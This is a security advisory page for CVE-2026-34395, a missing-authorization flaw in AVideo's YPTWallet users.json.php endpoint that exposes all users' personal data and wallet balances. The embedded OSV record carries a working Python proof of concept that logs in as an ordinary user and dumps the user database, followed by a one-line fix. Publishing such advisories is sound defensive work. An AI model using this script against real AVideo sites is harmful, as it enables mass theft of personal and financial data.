CVE-2026-34395: Wwbn/avideo AVideo Vulnerable To Mass User Vulnerability
MODERATECVE-2026-34395 is a MODERATE (CVSS 6.5) avideo vulnerable to mass user vulnerability (CWE-862: Missing Authorization) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo vulnerable to mass user pii disclosure via missing authorization in yptwallet users.json.php. Remediation is available in the latest vendor maintenance releases.
CVE-2026-34395 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-34395
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-34395, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34395 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-34395?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-34395?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-34395?
What CWE is associated with CVE-2026-34395?
How can I check Packagist dependencies for CVE-2026-34395?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-77jp-mgcw-rfmr",
"modified" : "2026-03-31T23:21:50Z",
"published" : "2026-03-31T23:21:50Z",
"aliases" : [ "CVE-2026-34395" ],
"summary" : "AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php",
"details" : "**Severity:** High\n**CWE:** CWE-862 (Missing Authorization)\n\n### Summary\n\nThe `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.\n\n### Details\n\nThe authorization check at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\nif (!User::isLogged()) {\n die(\"Is not logged\");\n}\n```\n\nThe query in `YPTWallet::getAllUsers()` selects all columns from both tables:\n\n```php\n$sql = \"SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u \"\n . \" LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 \";\n```\n\nThe `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.\n\nOther endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.\n\n### Proof of Concept\n\n```python\nimport requests\n\nTARGET = \"https://your-avideo-instance.com\"\n\n# Step 1: Login as any regular (non-admin) user\nsession = requests.Session()\nsession.post(f\"{TARGET}/objects/login.json.php\", data={\n \"user\": \"regular_user\",\n \"pass\": \"regular_password\"\n})\n\n# Step 2: Request the users endpoint\nresp = session.post(f\"{TARGET}/plugin/YPTWallet/view/users.json.php\", data={\n \"current\": \"1\",\n \"rowCount\": \"10\"\n})\n\ndata = resp.json()\nprint(f\"Total users: {data['total']}\")\nfor u in data[\"rows\"]:\n print(f\" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}\")\n```\n\nThe response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`.\n\n### Impact\n\nAny registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.\n\n### Recommended Fix\n\nChange `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\n// plugin/YPTWallet/view/users.json.php:8\n// Before:\nif (!User::isLogged()) {\n die(\"Is not logged\");\n}\n\n// After:\nif (!User::isAdmin()) {\n die(\"Is not logged\");\n}\n```\n\nThis matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`).\n\n---\n\n*Found by [aisafe.io](https://aisafe.io)*",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-77jp-mgcw-rfmr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34395"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/db37b4e9d9e7c733e5d4c5881e10b2b9d2670983"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-862" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-31T23:21:50Z",
"nvd_published_at" : "2026-03-31T21:16:30Z"
}
}